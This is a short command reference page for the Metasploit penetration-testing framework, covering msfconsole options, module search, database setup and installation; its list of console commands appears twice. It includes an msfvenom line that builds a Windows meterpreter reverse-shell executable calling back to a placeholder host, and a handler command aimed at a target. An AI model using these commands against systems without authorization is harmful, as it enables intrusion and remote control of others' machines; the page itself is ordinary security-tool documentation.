metasploit
penetration testing platform for developing, testing, and executing exploits
TLDR
Start Metasploit console
$ msfconsole
Start without banner$ msfconsole -q
Execute a resource script at startup$ msfconsole -r [script.rc]
Initialize the database$ msfdb init
Run a specific module with inline commands$ msfconsole -x "use [exploit/multi/handler]; set RHOSTS [target]; run"
Generate a payload with msfvenom$ msfvenom -p [windows/meterpreter/reverse_tcp] LHOST=[ip] LPORT=[port] -f [exe] -o [payload.exe]
List available payloads$ msfvenom --list payloads
Search for modules by keyword$ msfconsole -q -x "search [type:exploit] [platform:windows]"
SYNOPSIS
msfconsole [options]
DESCRIPTION
Metasploit Framework is a penetration testing platform for developing, testing, and executing exploits. It includes a large database of public exploits and payloads for security testing.The framework includes msfconsole (interactive shell), msfvenom (payload generator), and auxiliary tools.
PARAMETERS
-q, --quiet
Don't print banner.-r file
Resource script file.-x cmd
Execute command.-o file
Output to file.-L
List all available modules, payloads, encoders, or nops.-n nopsled
Prepend a nopsled of given size to the payload.-e encoder
Encoder to use.-p payload
Payload to use (msfvenom).-f format
Output format (msfvenom): exe, elf, raw, python, c, etc.
COMMON COMMANDS
$ search <term> - Search modules
use <module> - Select module
info - Module details
show options - Display module options
set <opt> <val> - Set option
run / exploit - Execute module
sessions - List active sessions
back - Exit current module
use <module> - Select module
info - Module details
show options - Display module options
set <opt> <val> - Set option
run / exploit - Execute module
sessions - List active sessions
back - Exit current module
INSTALL
sudo pacman -S metasploit
nix profile install nixpkgs#metasploit
CAVEATS
Requires authorization for use. Database setup recommended. Regular updates needed. Antivirus may flag payloads.
HISTORY
Metasploit was created by H.D. Moore in 2003 as a portable network tool. It was acquired by Rapid7 in 2009 and remains the most popular penetration testing framework.
